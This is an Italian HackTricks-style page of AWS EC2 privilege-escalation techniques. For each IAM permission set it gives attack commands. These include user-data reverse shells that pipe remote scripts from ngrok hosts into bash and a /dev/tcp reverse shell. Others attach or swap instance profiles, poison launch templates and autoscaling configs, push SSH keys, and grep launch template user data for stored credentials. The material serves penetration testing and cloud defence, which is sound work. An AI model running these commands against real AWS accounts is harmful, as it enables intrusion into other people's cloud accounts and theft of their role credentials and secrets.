AWS - EC2 Privesc

Support HackTricks

EC2

Per ulteriori info su EC2 controlla:

iam:PassRole, ec2:RunInstances

Un attaccante potrebbe creare un'istanza allegando un ruolo IAM e poi accedere all'istanza per rubare le credenziali del ruolo IAM dall'endpoint dei metadati.

  • Accesso tramite SSH

Esegui una nuova istanza utilizzando una chiave ssh creata (--key-name) e poi accedi tramite ssh (se vuoi crearne una nuova potresti aver bisogno del permesso ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Accesso tramite rev shell nei dati utente

Puoi avviare una nuova istanza utilizzando un dati utente (--user-data) che ti invierà una rev shell. Non è necessario specificare il gruppo di sicurezza in questo modo.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Fai attenzione a GuradDuty se utilizzi le credenziali del ruolo IAM al di fuori dell'istanza:

Impatto Potenziale: Privesc diretto a qualsiasi ruolo EC2 associato ai profili di istanza esistenti.

Privesc a ECS

Con questo insieme di permessi potresti anche creare un'istanza EC2 e registrarla all'interno di un cluster ECS. In questo modo, i servizi ECS verranno eseguiti all'interno dell'istanza EC2 a cui hai accesso e poi puoi penetrare in quei servizi (contenitori docker) e rubare i loro ruoli ECS associati.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Per imparare a forzare i servizi ECS a essere eseguiti in questa nuova istanza EC2, controlla:

Se non puoi creare una nuova istanza ma hai il permesso ecs:RegisterContainerInstance, potresti essere in grado di registrare l'istanza all'interno del cluster e eseguire l'attacco commentato.

Impatto Potenziale: Privesc diretto ai ruoli ECS associati ai task.

iam:PassRole, iam:AddRoleToInstanceProfile

Simile allo scenario precedente, un attaccante con questi permessi potrebbe cambiare il ruolo IAM di un'istanza compromessa in modo da poter rubare nuove credenziali. Poiché un profilo di istanza può avere solo 1 ruolo, se il profilo di istanza ha già un ruolo (caso comune), avrai anche bisogno di iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Se il profilo dell'istanza ha un ruolo e l'attaccante non può rimuoverlo, c'è un'altra soluzione. Potrebbe trovare un profilo dell'istanza senza un ruolo o crearne uno nuovo (iam:CreateInstanceProfile), aggiungere il ruolo a quel profilo dell'istanza (come discusso in precedenza) e associare il profilo dell'istanza compromesso a un'istanza compromessa:

  • Se l'istanza non ha alcun profilo dell'istanza (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Impatto Potenziale: Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Con questi permessi è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa.

  • Se ha un profilo dell'istanza, puoi rimuovere il profilo dell'istanza (ec2:DisassociateIamInstanceProfile) e associarlo *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • o sostituire il profilo dell'istanza dell'istanza compromessa (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```

Impatto Potenziale: Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza).

ec2:RequestSpotInstances,iam:PassRole

Un attaccante con i permessi ec2:RequestSpotInstanceseiam:PassRole può richiedere un Spot Instance con un ruolo EC2 allegato e una rev shell nei dati utente. Una volta che l'istanza è in esecuzione, può rubare il ruolo IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Un attaccante con il ec2:ModifyInstanceAttribute può modificare gli attributi delle istanze. Tra questi, può cambiare i dati utente, il che implica che può far eseguire dati arbitrari all'istanza. Questo può essere utilizzato per ottenere una rev shell all'istanza EC2.

Nota che gli attributi possono essere modificati solo mentre l'istanza è ferma, quindi le permissive ec2:StopInstances e ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Impatto Potenziale: Privesc diretto a qualsiasi ruolo IAM EC2 attaccato a un'istanza creata.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Un attaccante con i permessi ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate e ec2:ModifyLaunchTemplate può creare una nuova versione del Launch Template con una rev shell in i dati utente e qualsiasi ruolo IAM EC2 su di esso, cambiare la versione predefinita, e qualsiasi gruppo Autoscaler che utilizza quel Launch Template che è configurato per utilizzare la versione più recente o la versione predefinita riavvierà le istanze utilizzando quel template ed eseguirà la rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Impatto Potenziale: Privesc diretto a un diverso ruolo EC2.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Un attaccante con i permessi autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole può creare una Configurazione di Avvio con un Ruolo IAM e una rev shell all'interno dei dati utente, quindi creare un gruppo di autoscaling da quella configurazione e aspettare che la rev shell rubare il Ruolo IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Impatto Potenziale: Privesc diretto a un diverso ruolo EC2.

!autoscaling

Il set di permessi ec2:CreateLaunchTemplate e autoscaling:CreateAutoScalingGroup non è sufficiente per escalare i privilegi a un ruolo IAM perché per allegare il ruolo specificato nella Configurazione di Avvio o nel Modello di Avvio hai bisogno dei permessi iam:PassRole e ec2:RunInstances (che è un noto privesc).

ec2-instance-connect:SendSSHPublicKey

Un attaccante con il permesso ec2-instance-connect:SendSSHPublicKey può aggiungere una chiave ssh a un utente e usarla per accedervi (se ha accesso ssh all'istanza) o per escalare i privilegi.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impatto Potenziale: Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Un attaccante con il permesso ec2-instance-connect:SendSerialConsoleSSHPublicKey può aggiungere una chiave ssh a una connessione seriale. Se la seriale non è abilitata, l'attaccante ha bisogno del permesso ec2:EnableSerialConsoleAccess per abilitarla.

Per connettersi alla porta seriale è anche necessario conoscere il nome utente e la password di un utente all'interno della macchina.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Questo modo non è molto utile per il privesc poiché è necessario conoscere un nome utente e una password per sfruttarlo.

Impatto Potenziale: (Altamente improbabile) Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.

describe-launch-templates,describe-launch-template-versions

Poiché i modelli di avvio hanno versioning, un attaccante con permessi ec2:describe-launch-templates e ec2:describe-launch-template-versions potrebbe sfruttarli per scoprire informazioni sensibili, come le credenziali presenti nei dati utente. Per raggiungere questo obiettivo, il seguente script scorre tutte le versioni dei modelli di avvio disponibili:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

Nei comandi sopra, anche se stiamo specificando determinati modelli (aws_|password|token|api), puoi utilizzare una regex diversa per cercare altri tipi di informazioni sensibili.

Assumendo di trovare aws_access_key_id e aws_secret_access_key, possiamo utilizzare queste credenziali per autenticarsi su AWS.

Impatto Potenziale: Escalation diretta dei privilegi agli utenti IAM.

Riferimenti

Supporta HackTricks

Last updated